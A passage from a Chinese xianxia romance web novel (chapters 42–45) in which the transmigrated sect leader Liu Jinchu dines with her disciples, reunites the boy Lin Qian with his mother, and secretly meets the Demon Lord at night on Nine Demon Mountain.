见那畏畏缩缩的店小二点头哈腰地应下后,柳今初没忍住轻笑。 随后一种苦涩感又涌上心头,她曾经何尝不是也这样怕得罪人过呢,不过现在她能反过来帮这些曾经的“自己”了。 只是她需要一些时间,和一条真真正正属于自己的生命。 只要一日未能脱离仙魔劫之死的困境,她就不能承认现在的她就是柳今初而不是原主。 柳今初情绪来的快去的也快,转身向前走了一步,抬手将门推开,里头很安静。 刚踏入红莲阁,柳今初就察觉到了气氛不对,向正撑额头坐着的少女看去,她能明显察觉到芷汀的低落。 不会是方才进去的裴卿惹人不高兴了吧? 虽说柳今初无意要拉徒弟下水,但想想芷汀若是关心起裴卿被泼了汤汁的事,徒弟说不定真会不懂人情事故地回:“无碍。” 然后和块木头一样“无视”人家的好意,虽说芷汀知道裴卿本身就淡漠极了,说是熟人勿近也不为过,但依照芷汀细腻敏感的性子,会失落也并无不可能。 “怎么不说话,已经上菜了么?怎么样芷汀,哪道味美些?”柳今初坐在芷汀身侧,刚落座就拿起了筷子。 芷汀见她来了,眨了眨眼,坐直了身朝她露出淡笑,“我只尝了一块糕点。不过也是我馋,应等你们来了再吃的。” 说着芷汀又有些不好意思,将一侧额头靠在柳今初的肩头,语气软下来,“你也尝一块,这松仁糕比我宗门的好吃许多。” 柳今初见她阴霾散去,也忍不住勾起唇角,“我尝尝看。” 松仁糕与唇舌接触,柳今初本觉得芷汀是在夸大其词,但舌尖甜咸融合极好的糕点打消了她的念头,少女微微睁大双眼,与身旁的人对视一眼,“虽说我没尝过灵符宗厨子的手艺,不过这松仁糕确实深得我心。” 说到灵符宗的厨子,柳今初又不禁想起自己手下宗门的御膳阁,她好似从许久以前就不吃御膳阁的菜肴了,多是吃裴卿做的。 不知是从何起,裴卿就每日准时准点地给她端来食盒了。 好似是她头一次尝到他做的冰糕开始的,那段时日宗门里热得很,连她院子里那些散发微微凉意的灵气也无济于事,更别提别处了。 多数弟子都选择消耗些灵气祛暑,她就更是放肆了,毕竟原主灵气丰沛,她就算没日没夜地用灵气去除热气也不减几分。 而从那日起柳今初觉得这样荒废下去有些不妥,毕竟作为宗门之首,总该为众弟子立个好榜样,怎能带头松懈。 于是她便少用了些灵气祛暑,转而选择心静自然凉的祛暑方式,顺便随口说了句,“未免也太热了些,若是能含块冰就好了。” 柳今初这样说着,脑中浮现了各式雪糕的样子,不禁开始猜想凡间有无这样的甜食。仙界对这样的美膳需求不多,大多修仙者又选择辟谷,御膳阁的膳食也只供应给刚入门的弟子,对于已可以辟谷的弟子是不照应的。 这本是她随意说出的话,但送来午膳的裴卿应了她。 “确是热了些。” 那时柳今初听了只觉得是在应和她,便没多想,转而思索起去凡间游逛半日的念头。 待夜幕降至时她才想起自己在凡间逛了许久了,这才摸着黑回了宗门,那时月圆而亮,宗门里大多弟子已熄了灯。 柳今初一路慢悠悠地走,想着散散步消食,却没想在路过御膳阁时撞见了专职的弟子。 “宗主安好。”说着那名弟子垂头作揖,模样恭敬。 柳今初不是第一次见他了,先前她就独自一人来到御膳阁找吃食,便是这名弟子招待的她。 那时他模样可不似现在这般淡定,手忙脚乱地将手上端着的稀粥搁在桌上才行礼。 “嗯平身,为何现在还在御膳阁,不是已能回去休息了么?”柳今初点头挥手示意他直起身。 那名弟子已不是像第一次见到她时那般慌张了,双手抬起放到身侧的衣衫旁擦了擦,憨厚老实,“方才百里师兄交代我给您送吃食,弟子方才忙完正要给您送去呢。” 说着他赶忙转身将身后木桌上放着的木盒拿起,“宗主请瞧。” 柳今初有些疑惑,平日裴卿只是隔三差五给她送午膳,今日倒是例外了。 但她方才就饱餐了一顿,现在正消食着,并不是很想尝尝那食盒里的东西。 “不必了,你先放起来吧。”柳今初话说完正要走,没走出几步又回头,那弟子也还未离开,见她回了头有些不知所措,站在原地走也不是不走也不是。 “算了,你给我吧,早些休息。”柳今初看着愣在原地的人不打算多说什么,几步走回去将他手上的食盒拿走便同他告别。 回到栀院阁,柳今初没走进屋子,只在院子的石凳上坐下,借着盈盈洒下的月光将食盒打开,木质的盒盖刚揭开,清凉的雾气就扑面而来,待她看清那吃食是什么时整个人身上的热气都去了不少。 是冰镇着的小圆子,模样与凡间的冰雪冷元子差不多,不过除了用黄豆研磨成粉而制成的丸子还有些许蜜红豆和桂花蜜。 不过柳今初见到这解暑的甜食时心中并非想着它味道如何,而是想把裴卿叫道她的院子来。 光是让这甜食冰凉着的灵气就抵过平日一名弟子祛暑用的灵气了,这样未免太滥用灵气了些。 不好好积蓄灵气晋升,耗费这么多灵气储冰怎么行。 柳今初伸出一根手指轻触那些微微晃动的湖蓝色灵气,露出略带无奈的笑,想寻他讨个说法但现在明月高挂着,柳今初舀起两个小圆子送入口中,决定明日早早就去寻他。 想到此处,柳今初忽然就想点上一碗冰雪冷元子了,虽说那日她有些气愤,可那圆子确是味美,而且她也许久未尝了。 正欲问芷汀可否点过,就响起了几声叩门的闷响,随后就是送吃食的提醒。 “进来。”柳今初认出那声音是方才泼了裴卿一身汤汁的店小二,下意识瞧了坐在旁边的青年一眼。 他自坐下起就没有出声,也不动筷子,明明桌上的菜他都能吃,不算破戒,可他就好似没有七情六欲中的食欲一样,口水都不咽一下。 自制力这般强的么? 用深红端盘盛着一碟色泽金黄的小饼,旁边还有一只小巧的青瓷壶。 那人匆匆将吃食摆好,动作一气呵 成不带半分犹豫,像是早就预演好的那般,做完一切就要转身离开红莲阁,步子轻极了。 “小二你请等等。”柳今初赶忙叫住他,伸出一只手停在半空似要挽留。 “你们玉明楼可有冰雪冷元子?若有便上一份。”柳今初收回手作扇风状,说起来也巧,去了魔界待了一会,凡间已从寒秋转成了酷暑,正是享用各式冰糕的时节。 唐代的冰糕囊括的冰凉吃食有许多,而她也只尝过几样,对泡在冰水里的冰雪冷元子最是喜爱,清爽软糯,对于她这样不太喜过甜的人来说甚是味美。 说完柳今初便垂下眼拾起那壶果酒,欲倒一杯尝尝是什么果酒,壶口出流出浅琥珀色的酒液,带着浓厚的酸香。 “你喜欢喝酒?” 柳今初将杯口移至唇边浅尝一口便听沉默许久的裴卿开了口。 他似是因为太久没有说话,声音有些许沙哑,和她刚尝到的果酒一样,有些浓烈。 这酒水好甜,似是加了许多蔗汁,还有些呛。 柳今初没来得及说些什么就忍不住咳起来,手握成拳抵在唇边,稍稍弓着腰,轻咳着,颊边泛起淡淡的红,眯着眼就这样捏着酒杯咳了一会儿。 坐在她身旁的青年下意识将手抬起,伸出宽大修长的手欲要轻拍少女轻轻颤动的背脊,裴卿长睫微颤,手又在离那温热背脊一指处停下。 他下意识轻拢指尖,却无意碰到了她温热的背脊,隔着薄薄的布料,那温热似是冬日燃着的瑞炭那般灼手。 还在轻咳的少女身子颤动,背后乌黑的长发落到了身前,露出白皙的脖颈。 青年就似触到了烈火一般移开了手,偏过头视线落在她浓黑的发上,发丝旁就是他方才触及的地方。 柳今初咳了有好一会儿,直起身时视线有些模糊,方才呛得她泛起了泪花,呼吸也急促几分,很是不好受。 眨了眨眼视线重新变得清楚后她呼吸也平缓不少,看着面前芷汀递给她的一杯茶水,也不想着苦不苦就咽下了肚。 什么果酒这般烈,还甜得很,口感倒是醇厚有几分葡萄的香气,不过入口时就觉得有些粘稠滑腻,总之她不会再喝一口。 “这果酒好生难喝,你们不必尝了,我试险可是遭了大罪了。”柳今初说着将那壶酒移得远远的。 随后又好似想起了什么,转头看向裴卿,她方才好似听到他说话了,“方才你说了什么?这酒太狠毒没让我听清。” 这一问倒是没什么,但是她注意到了他泛红的耳尖。 虽说这里正直闷热的时节,可以他的实力可不至于热得红了耳尖。 “你也喝了果酒么?”柳今初吸了吸鼻子,方才咳得她很不舒服,看见徒弟这幅偷喝酒的模样还不像她那样咳得上气不接下气,顿时有些说不上来的羞赧。 裴卿应得很快,摇头否认,身后的束起的马尾轻晃,颇有几分小时候做了坏事闯了祸的心虚模样。 “那你方才说了什么?”柳今初见话偏了,又问回来。 裴卿见她似要刨根问底一样,薄唇微动却又是问不出口了,他不知为什么,现在只想偏开头避开她的视线,就想以前那样熟稔。 43. 第四十三章 柳今初见他不愿说便也没打算强问下去。 三人如往常那般有一搭没一搭地说着闲话,将桌上除了那壶葡萄酒外的吃食都近乎吃进了肚,慢慢悠悠出了玉明楼。 接着三人便马不停蹄地前往洛阳,方才他们所歇脚的地方沿着海,现在要赶去远离沿海地区的洛阳定是不能如寻常百姓一样骑马或乘车了,便只能在夜幕降临无人出行之时动用灵力,赶在天亮前来到了洛阳。 待晨边蒙雾隐隐升起,红日露出半分艳阳来,三人便又来到了那老妇住处的那条巷子。 这一夜的路程,三人也并未像先前逃命那样分开了走,而是时刻聚在一起,也便于思考对策。 柳今初便先一步同身侧两人说了,那老妇并非魔族手下的人,她是实实在在的凡人,是血肉身躯并无半分虚无之处,先前只是受了魔族的影响,才让她觉着怪异得不像寻常百姓。 不过在三人走至那破朽的木门前,先是遇到了另一个眼熟之人。 他换了一身衣裳,看着没先前那般风尘仆仆了,总归衣着像样了些许,头发也理顺了许多,整个人仿若从头到脚都细致打理了一番。 素白圆领衣衫,主要为黄白粗布,不过看着比先前要新上许多,总归不是那么皱巴巴了,下身便是寻常百姓常常穿的深裈了。 “林谦,你怎寻来了此处?这离我为你找的客栈可远上许多,走着可累了。”柳今初走前便早早为他定下一间客栈住下了,还给他一袋盛满开元通宝的承露囊,叮嘱他要多多照应自己。 不过此话柳今初是自问自答,虽无意似地问出了口,但心中早就说出了那真切的回应。 他是来寻他娘亲的。 “季姐姐,我……是来寻人的。”林谦垂在深色布料旁的手慢慢收紧,只盯着自己的鞋尖看。 “寻谁?可要我帮你?”柳今初迈步走近,微微俯下身,珍白的双手撑着双膝语气温和,“我也要寻人,不过还是能腾出手拉你一把的。” 看着身前带着浅笑的女子,林谦睫毛轻颤随后又垂下眼,并未应她的问题,而是缓缓答:“为何要这样对我好。” 柳今初自是猜到他不愿说,也不急着让他说出那个名字,虽说柳今初也很好奇他娘亲叫什么,可她知道现在并非是个好时机,她倒是愿让他自己说出口而不是被人逼问着说出来。 “许是因为我本就这般作风吧。”柳今初淡淡道。 “总之同我们一道走吧,你一人到处乱晃可不好。”说着柳今初拍拍他的肩,她本想拉着他的手带着他走到裴卿和芷汀那里。 可她转而又改变了主意,许是因为她想起了先前和他年纪相仿的裴卿,那时裴卿就好似变了个人,话少了许多,也不同她亲近了,要说两人离得最近的一回便是她带着三位亲传弟子悄悄去凡间逛元宵的时候了。 想到此处柳今初忽地直起身,脑海中那道倾身靠近的身影渐渐浮现。 手里的步摇轻晃,慢的很,残影绰绰模糊却很是真切。 最为真切的还是那张在无数温黄灯火光影之下,变得晦暗不明的脸,和现在的林谦一样青涩,但已初露棱角。 柳今初实在不愿再细想了,再多想一秒梦里的裴卿和魔界的裴卿就要现身了,那里的他可要比凡间的他怪得更多。 少女转身走在林谦身旁,两人来至裴卿与芷汀面前,只听到了两人交谈的尾音。 询问两人对林谦随行有何意见后,柳今初得到了无碍的回应,也得知了与老妇相见后要做的事。 这次几人来到巷子深处那几户人家门前时就见着了早早弓腰站在门前的老妇。 她头发已花白,半睁着浑浊的眼,现在天还热着,红日也冒出了头,照得她额角冒出汗珠来,双手却是局促着交握着好似等了许久。 柳今初见她这一眼便看出了她早已恢复正常,并无先前第一次见她时那般僵硬了,也并无第二次见她能察觉那身上渗出怪异的气息了。 身侧一直微垂着头的少年这时抬起了头,眼中的急切已然压不住了,快步冲上前将那惴惴不安站立着的老妇拥住。 他已经比老妇高出些许了,只是也同样瘦削极了。 细看一下,柳今初还是能辨出两人眉眼间的相似之处的,先前只见一人时看不出什么,可眼下两人相拥,她倒是更能笃定林谦与老妇关系不一般了。 站在身后不远处的青年走近几分,在她身后两步远处站定,淡声开口,“她身上并无魔族气息,不过那,那少年仍有。” 他顿了一会儿,像是才发觉自己叫不出那眼熟之人的名字,只能半说半就讲出心中想法。 柳今初稍稍侧头下意识想看身后出声的人,但方才脑海的画面又好似卷土重来了,她又堪堪停住。 随后又想起裴卿似是不知林谦的姓名,先前她是要告诉他的,但芷汀无意间打断了她便没再提起,于是此刻便打算说清楚。 “他有名字,不过我忘了同你们说。你呢也没问人家。”柳今初抬起手越过肩头指了指站在自己身后的裴卿。 “他叫林谦,双木林,谦逊的谦。”柳今初看着面前温馨许叙旧的母子二人,心上一软语气也不觉缓下来。 她很奢望这种充满纯粹温情的时刻,可她好似就那般不幸,从生下来就注定没有温情与亲情。 好似注意到了还在等着他的几人,林谦背过身悄悄将颊边的泪痕擦了擦,将娘亲搀扶进屋。 自幼便吃过许多苦头的他自是知道季安几人要寻的人正是自己的娘亲,也深知自己也是局中人,待扶着娘亲踏入门后情绪平和下来,便招呼几人进屋。 柳今初也收好了那久久尘封心底的情绪,先一步进了屋子。 她知道林谦娘亲被魔族盯上并作为诱饵引她,或许是说引裴卿进入幻境的事,这也恰恰说通了,魔族背后操盘之人好似能看出她的真身,就好似魔主一样。 柳今初不是没有猜测这一切的险境都是魔主所造就的,但她总觉得并非这般简单,她也说不清若真是如此,那魔主为何要说心悦自己,从她这里他又能得到什么。 而且在魔主看来她也是同他一起争夺裴卿体内的剑灵残魂的对手,不是更应堤防才是么,还是说他的布下的棋盘不止这么大,而是要她也已深入局才能成功。 柳今初从业不说是到了资深的年限了,但也不是小白,市面上那些各自心怀鬼胎的人她多少也接触过,对与猜测她虽说不能笃定,但也能猜个七七八八。 更何况她从不觉得自己没有下棋这一方面的天赋。 几人都进了屋子,让本就狭窄蔽塞的屋子更显拥 挤,那老妇看着三位衣衫朴素料子却极好的人,不禁有些局促,浑浊的双眼看向几人嚅嗫着开口,“我这只有些粗茶淡饭,您几位若是不嫌厌……” 她似是有些窘迫,后半句话塞在喉间。 林谦将余下的三张椅子空出,只站在娘亲身后,轻轻抚摸她簪起的发梢,沉默了几秒便开了口。 “几位…恩人,我们家境贫寒,实在对不住,只能给些粗饼招待了。”林谦道。 他怎会不知道自己家的米缸还剩几粒米,就连那些粗饼都是他用季安给他的钱币买的,余下的他擅自用了一些给自己换了一身衣裳,本想要寻娘亲,却被镇住了脚,直至今日才能来到远在城区外的市井,却遇上了季安。 要细一些说,林谦曾想过省着用那袋钱,因而能余下不少钱,还能带娘亲也换身衣裳,再去洛阳最好的酒楼包餐一顿。可一切都不如意,他遇上了事被耽搁好几月,而令他没想到的还是娘亲也与季安一行人有瓜葛。 柳今初看着他低垂着的眼,一副极其低眉顺眼的模样,不由来觉着心疼,又念起他在灵符宗参与试炼的样子。 那时的他一身素衣,面上也灰扑扑的,可就是这样一副泥中出苗的坚韧模样,在一众家境优越衣着华丽的试炼者中脱颖而出。 少年心高气傲却是纯粹的,只为自己争一口气,出一次头,要如何说柳今初都觉得他与现在的他实在差得太多。 “不必了,我们寻来是有要事。而且你们这屋子是极好的,冬暖夏凉,可是聪明人建的。”柳今初双臂撑直在椅边,眼中含着有着令人坚定的淡淡笑意,与少年微微抬起的眼对上。 “与你相识这般久还不知你娘亲叫什么,我都不知要如何称呼这位面善的妇人了。”柳今初早就看出老妇是识得自己的,她见自己时并无诧异之色。只不过她们先前未互换姓名罢了。 “让姑娘见笑了,我一位花甲老人忘了事还望您见谅。”那老妇敛下眸,将头轻轻靠在身后孩子的手上,“老妪唤作林春鸢。” “春鸢。”柳今初轻声喃喃一句,她听过这个名字,或许说,是她见过。 她对拥有这个名字的角色印象不算深,但是什么字却是记得很清楚。 “可是春日的春,纸鸢的鸢?”柳今初下意识将脑中的想法问出了口,一句话说完了才反应过来,眨了下眼不再出声。 “姑娘真是聪慧,真是禀天性。老妪生在三春,漫天的纸鸢,娘亲见了便唤我春鸢了。”林春鸢似是在回想,见到了五色纸鸢一般露出慈爱的笑。 “只是我命里的‘活’太薄了,撑不住三春的生气,也做不来随风扬的纸鸢。”她眼中似是带上了悲意,“竟落得这番遭人唾弃的下场,在这暗屋里度日。如今竟开始念想那三月三日天气新,长安水边多丽人的日子了。” 柳今初眸中闪过的水光宛若月下水面上的粼光,她似是忆起了自己从何处见到了“林春鸢”这个名字了。 是有一日宁明替她寻来的一簿话本子里,那书中女角的名字便是林春鸢。 在那宋代的背景下,林春鸢的花甲之年也有一儿,只是他不叫林谦,名中却带谦字,而那里的林春鸢慈颜永存,笑倚春风,绝不是如今这样发白齿摇,见者皆恻然。 那话本的林春鸢,更像下一世的她。 44. 第四十四章 同老妇聊了许久,柳今初知觉很是可惜,她本有比平常百姓要富裕得多的生活,可却败在了拉她下水的男子身上。 从古至今,好似牵制住女子的多是与情爱相关的男子,不论有意或无意,这好似都是常有的事。 林春鸢同她夫子来到洛阳,十几年前才有了一个孩子,那便是林谦,可她夫子娶她只是为了攀附权贵,生生拖住林春鸢几年,有了孩子却丢下一纸休书抛妻弃子,在朝廷上是站稳了脚跟,却是不甚在意他的名是好是坏。 柳今初蹙着眉听她慢慢叙说这些年的往事,只觉春鸢实在太过心软,竟不当众揭穿她夫子的所作所为,让他声名败露得更彻底,在百官面前抬不起头。 可她不知道如今还能为她做些什么,偏偏她又被魔族所盯上,用做了引他们陷入险境的诱饵。 而她的儿子林谦好似也是罪人一样,要受魔族的差使。 柳今初早早便知林谦受了魔族的影响,只是她当时不知林谦来元剑宗的目的。 若只是为了替魔族寻裴卿身上的剑灵残魂也并无不可能,可他为何学得那样拼命,明知自己只是暂留此地却也没日没夜勤学苦练。 好似就像要保命一般。 可他只是初学者,这样短的时日普通弟子连筑基期都难以达到,更别说他还要悄悄与魔族联系。 “林谦,你可是为了你娘亲?”柳今初看出林春鸢体内的魔族气息并非这几日才显现的,而是早在许久之前就留存在她体内了,至于有没有时不时显现,她不敢深想。 门外站着的少年低着眸,眼神空洞,正当柳今初觉得他不会再出声回答她时。 少年喉间发出了略带哽咽的气音,“嗯,娘亲是用来胁迫我的,她的身体在四年前三春开始便大不如前了。” 他没有说做出这一切的人是谁,可柳今初知道这并非隐瞒。 林谦很聪明,他知道这他们早已猜出背后之人为何处的人,他也知道为了护娘亲和自己而不说出那两个字。 “那你不愿随我们走么?”柳今初看了一眼裴卿。 她知道林谦应是认出来裴卿就是魔族要寻的人,这样问他若是答应下来才是最好的。 当然她定然不会为了他而让裴卿交出剑灵残魂。 少年垂着的眼抬起,眼中布满了红血丝,盈着薄薄的水雾,他静默地朝柳今初一行人看了一会儿,摇了摇头没有出声。 “那你便好好地与你娘亲生活。”柳今初同他告别要转身,半个身子都要跨出门槛了,耳边却传来了哐啷脆响,是钱币相碰发出的声音。 林谦在她身后猛晃着钱袋,他没有喊她。 柳今初回头眯起眼笑,她见了林谦通红的眼眶,也知道他现在胸膛剧烈起伏着。 可他不愿意放声哭喊,又想叫住她,那便只能晃那袋装满了钱币的承露囊了。 “那袋铜钱是我赢来的,我呢又不缺那点,所以才分给你的,你可别多想。”柳今初没问他怎么哭了,也没走回去安慰他,站在原地轻轻回应。 “你要是敢丢就是瞧不起我能赢钱的本事。”柳今初说完头也不回砰地一声合上了门,好似走得很急切一般。 柳今初走在最后头,芷汀走在最前,这一天她好似都很忙碌,手上捏着的符纸一张接着一张地换,神情也比平日要凝重许多。 这幅样子,就像领到一摞待处理纸张的柳今初会做出来的一样。 而走在中间的青年神色也不大好,虽说他平日就是一副生人勿近的模样,可最近她觉得裴卿好似开朗了许多。 至少是对她来说。 于是少女走快几步,站在他身侧,极其自然地和他搭话。 “裴卿,你是不是知道林谦身上的魔族气息是冲着你来的?”柳今初道。 “我知道。”他微微侧过头来看她一眼,随后轻声回答。 没有点头不语作回应,看来裴卿却是对别人的态度温和亲近了许多。 柳今初又问:“那你就没什么想说的么?” 柳今初随意将话题延续,不过她此刻也不知要与他说什么。 “有。”裴卿道。 “嗯?”柳今初没反应过来,忽地站在原地没跟着他继续走。 她没想到他会说有,毕竟方才几乎都是她在和林谦交谈,裴卿就在一旁站着,没有任何要参与的意思。 他好似天生就喜欢观察一样,总静默着看形形色色的人做不同的事。 小时候也是,在一众刚入门又同他年纪相仿的弟子追着师兄师姐问东问西时,他就只跟在他们身后站着,不出一声。 等柳今初过来了,他也只是换个地方站着,站在了她身后,但也同样沉默着不说话。 柳今初不是没想过这孤僻的性子是受了儿时生活环境的影响,弑父杀母,换作谁都不能接受,性格受到影响也在所难免。 可裴卿好似更不同些,他从未落过泪,也从没试着在师兄师姐甚在她这个师父身上找回一点亲情那样的温情。 裴卿似乎不需要情绪,从小到大,他笑得少不算怪,可连其他的怒哀也没有,只是乖极了,叫他学什么就学什么,说他做的吃食味美能睥睨御膳阁,他便习惯为她做午膳,再到一日三餐。 就好像,在讨好她,甚至整个宗门,整个仙界一样。 “你明知他对我不利,为何要问他,愿不愿与我们同行。”裴卿语气不轻也不算重,感受到身旁人的停步,也不再向前走,只是看着前方对她说。 “你知道的,他身上的魔族气息很不一样,但我能保证他暂时伤不到你。”柳今初看着他高挺的背影,眨了下眼。 他将光遮去了一半,打在她身上的就少了一半,从胸口靠近腰际的地方往下便是暗暗的影子了。 “你,确实能这样。”裴卿动了动手,抬步向前。 柳今初能察觉到他情绪的不对,像是生气了。 但她不知道是什么让他生气了,裴卿很少生气,要说像此刻一样的低气压,她也是头一回见。 少女快步走上前,想问清楚可又不知要怎么开口,只能和他一样沉默着赶路。 柳今初走前些不是,走慢些也不是,总之她就是做不到忽视他,这番感觉就像徒弟和自己闹脾气了。 可这个徒弟是最乖的那个,平日没闹腾过,这下生气起来,她这个作为师父的就不知要如何应对了。 要说宁明和进勉打闹各自不服气,柳今初也知要怎么缓和,加之他们俩没有隔夜仇,处理起来也就轻松许多。 而裴卿,柳今初侧眼看了他一下,又收回目光。 反正她现在也不是那个师尊,在裴卿心里自己原本的形象也是好好的,虽现在置之不理会让裴卿不好受,但也只能先放放了。 等到了九妖山说不定也就过去了。 想到此处柳今初又难堪起来。照裴卿说的,除开林谦身上那特殊些的魔气外,余下逃逸的普通魔族气息回到了九妖山,要前去处理,她若要同魔主联系那边很是不容易了。 说起魔主柳今初更头疼,她这几天思来想去始终觉得魔主并非真正心悦她,或许说他真正心悦的是原主。 那她答应下来,好似又怪不仗义的,不过原主也并非好人,她倒是觉得换做原主,她也会答应下来,看魔主究竟要有何作为。 罢了,思想斗争这么多回,还是只有一种选择,那便是应下来,以身入局静观其变了。 三人各怀心事,前往九妖山的路比平常要安静许多,不过多数时候也只是柳今初在说,再就是芷汀了。 来到九妖山时已经入了夜,三人紧赶慢赶也花了一日半的时间,眼下月已经升起,夜风在九妖山的林木间穿梭,发出簌簌响声。 九妖山的林木花草遍山都是,还杂的很,每走一段路就能见一种树一种花,宛若将仙界所有的仙草仙木都集齐了。 此地这样看定然是晋升最佳之地,可在看它山体里掩藏的妖兽,那便让许多修仙者退却。 若是运气好些,被妖兽打得半死不活,伸出手一拔就能拔起一株救命仙草,可若是运气差些,命丧黄泉也是常有的事。 不过这些险境多发生在九妖山山尖地带,那便是中心地带。别处若是普通修仙者拉上几位仙者同行也不算惊险。 因而有许多人将九妖山边缘的仙草灵果采得断了根,早来的人便享到了这份美膳,可越来越多人前来分羹,自然就是不够的了。 可他们也不愿止步于此,对先前敬畏的地方也变了想法,争着要做下一批先吃羹的人。 可山上能站人的地方越来越小,他们不愿在走近,也不愿松口,争执便先比与妖兽争斗发生。 柳今初看着脚边的白骨,裸露惨白。这里妖兽极多,死掉的仙者除了那具白骨,身上处处皮肉都含着灵气,或杂或纯。 对与小妖兽来说,便是不用动手就能享用的,而那些被丢弃的白骨沉泡在九妖山浓郁的妖气与山间自然灵气里,终年惨白,夜里在月色下更是白森森的。 此后前来的修仙者就骤然减少了,直至今日,好似就没有人踏足了。 柳今初抬起头,继续跟在裴卿和芷汀身后。不知从何起,柳今初发现,她在见了这些曾经觉得瘆人极了的画面时,反而平静的很,好像是她早就见过许多次了。 许是因为原主。柳今初没多想,因为这在她看来不算坏事。 45. 第四十五章 由于进了魔族的幻境,几人又马不停蹄地赶回九妖山追随魔族气息的去向,说不累是不可能的。 但柳今初同他们不一样,她修为要更高些,而且今夜她也有要事要做,定是不能好好入眠歇息的。 待夜更深了,夜空密布繁星,月也随之升高几分,这番深夜美景颇有午夜静谧之美感。 柳今初侧躺着,将一只手屈起枕在头下,双膝也屈着,整个人好似蜷缩在一起了,明明九妖山四季如春,没有过什么大风大浪,林间的风也轻轻的,不过遇上妖兽作乱那便不一定了。 她本就是毫无睡意的,但裴卿似乎也是,倒是芷汀最先入眠了。 明明白日时心事看着最多的还是她,可现在睡得最快的也是芷汀。 不过柳今初猜想,许是芷汀太过疲累了,这样的话,哪怕是再心事重重不愿停下思索,身体也是扛不住的。 柳今初躺着不动,静静看着自己散在毯子上的长发,乌黑柔顺,在夜月的映照下泛着淡淡的光泽。 她眨了眨眼,长睫扑朔,那张淡然虚无的脸上没有什么表情,静默片刻,柳今初慢慢坐起身,将半个身子直起后她微微侧头,颊边青丝垂落。 随后她便撑着手站起了身,脚步很轻,为了不做出些风吹草动的事,她还特意用了些灵气,整个人迈步轻盈,动作轻得像一阵夜间的缓风。 悄无声息走至裴卿所在的地方,柳今初弯下身屈腿蹲下,长发随着动作轻扫草面,发出细微的嗦响,像夜风刮拂草尖。 少女将纤白的手指轻轻探到青年高挺的鼻梁旁,她不敢直接将指尖靠近他的眼,只在那双安然闭着的双眼旁轻动手掌。 手掌的晃动会时不时遮去月光,青年似是察觉到了眼皮处光源的变动,眼眸微动,长而直的睫毛随之轻颤,剑眉蹙起,宛若陷入了梦魇一般,是一副不安的神情。 柳今初试探出裴卿睡得很熟,好似还做梦了,应是注意不到她待会儿的动静,便安下心来。 少女挽着衣袖的手微微松了松,紧绷的神经也随之恢复,正欲直起身离开几步。 她还未挪动折坐着的双腿,裙摆处却传来了轻微的拉扯感。 柳今初预感不妙,垂下眼往下看自己的裙摆,上面赫然出现了一只骨节分明修长有力的手。 似是因为青年抓握的力气不小,他的手背上微微显露青筋,在月色下染上一层浅淡的阴影,看着,柳今初眨了下眼,脑中只能蹦出两个字。 好看。 她想到这身形一滞,视线向前移动,渐渐看清了夜色下青年到脸。 他还是没有睁开眼不过神情好似转为了略带苦涩的模样,薄唇紧抿着,似远处平山的眉蹙着,眉尾的那颗痣好似比小时候要明显许多了。 柳今初想用些力挪开脚,但她一时又不敢这样做,怕动作大了些让裴卿醒来,那便很奇怪了。 那要如何是好?僵持定然是下下下策。 于是柳今初干脆一不做二不休,慢慢向后挪动,她动作轻极了,靠近裴卿她又不敢动用太多灵气,免得让人醒得更快,但又要保证人不被她的动静吵醒,只能这样磨时间了。 这样慢吞吞地挪动了半步,她裙摆最后一点布料就要从那修长的指尖褪出来了,然而裴卿怕是真的陷入了梦魇之中。 薄唇微微嚅动,唇色却是很淡的,柳今初听不清他在说什么。 不过她知道裴卿说了很长一句话,话里有熟悉的音调。 柳今初微微俯身靠近,好奇心驱使她想听清他在说什么。 虽说这样好似有些像偷听,这也让柳今初觉得面颊发热有些不好意思。 但她想若是方才自己没听走耳的话,裴卿便是叫了自己。 不过不是“师尊”,而是她的名字。 “柳今初。” 柳今初身形僵住,这次她听清了,而且在这句呼唤后,裴卿很长一段时间都没说话。 柳今初有些不可置信地看了他一眼,却见他眉目舒展开来,头微微动了一下,侧向自己那一侧,露出了白皙的脖颈。 上面也有一颗痣,就在靠近墨黑领口的地方。 那颗脖颈痣在小时候就十分明显,比他眉尾的痣要明显更多,不过长成少年之后,他的衣着就更保守许多,领口近乎能将那颗痣遮住,平日做些大幅度的动作时才会隐隐约约露出。 现在他散着发,没有捏着柳今初衣裙的那只手攥着一根发带。 柳今初认出来了,那青色的发带是他刚入门时自己给他的。 平日历练都是那身黑衣,虽说这身衣服行动方便许多,他用此换去弟子青衫服能理解。 就是那青色的发带同他这一身黑很是不合,看着很是突兀就是了。 但柳今初不想在这样拖下去了,她还有要事,今夜时间也不长,她若是再拖下去怕是到了明日两人醒来,自己才躺下闭目。 好似看出了她的急切一样,裴卿的手松开了,连带攥着发带的手也松开了。 额角冒着细密的汗珠,好似有些热了,抬起手将领口微微扯开一些, 柳今初见了还没来得及欢喜解脱这样快,就被他的动作吓了一跳,站定在原地屏住呼吸。 原本幻化出的稍长的眸变圆,好似受了惊吓的鹿一般。 但随后柳今初就看出了他还在梦中,不过不是噩梦了,看这幅表情,应是做到了美梦。 不然他现在笑什么。 柳今初面上的表情说不上惊奇,也谈不上一言难尽,或许应是错愕。 也在好奇究竟是什么梦能让他勾起唇,晋升飞升成仙还是寻到了仇家报仇雪恨了? 柳今初没多想,既然他深陷梦中,又何尝不是助她一臂之力呢。 随后少女不再耽搁,几步跃出青年身侧,来到屏障边界处,紧靠着一颗古树便在脑中唤起“魔主”二字。 魔主也是明眼人,听出她脑海中声音的急切,也不做叙旧只应了一声便出现到了她面前。 魔主没想到柳今初这样大胆,敢在现在叫他出来见她。 他听出柳今初急切便停下来手中的动作,按照她的要求静悄悄地出现在她面前。 柳今初见了他这幅刚出浴的模样,心间一紧,赶忙捂住自己的唇,将喉间将要发出的声音咽下。 少女睁大双眼看身前一只手扶着自己身后的古树的男人,衣襟半敞开来,露出一片不算白皙的肌肤,上面紧实的线条明显。 但她不愿再看下去,抬起眼与魔主对视。 他似笑非笑地看着她也不说话,发梢处的水滴落,将她身前的一小片衣襟濡湿,布料的颜色深了几分,沾到她的皮肤,让柳今初觉得有些别扭,动了动肩。 再急也要穿好衣服,擦好头发再出来见人才是。 柳今初现在脑中只有这一句话,先前想好的说辞忘得一干二净。 两人就这样静默对视良久,久到柳今初觉得自己是早就睡过去了,现在看到的画面都是梦里的。 < p>“我为你这样急,来了你却不说一字?”魔主微微俯身,更靠近她,近乎是用气音说出的这句话。 柳今初颊边的淡红还未散去,他这样一靠近,她就更觉得呼吸不畅,周遭的空气愈发稀薄。 见少女小幅度的摇头没有出声,他笑意更深,接着问,“不愿说话也无妨,我说便是。那件事,你想好了?” 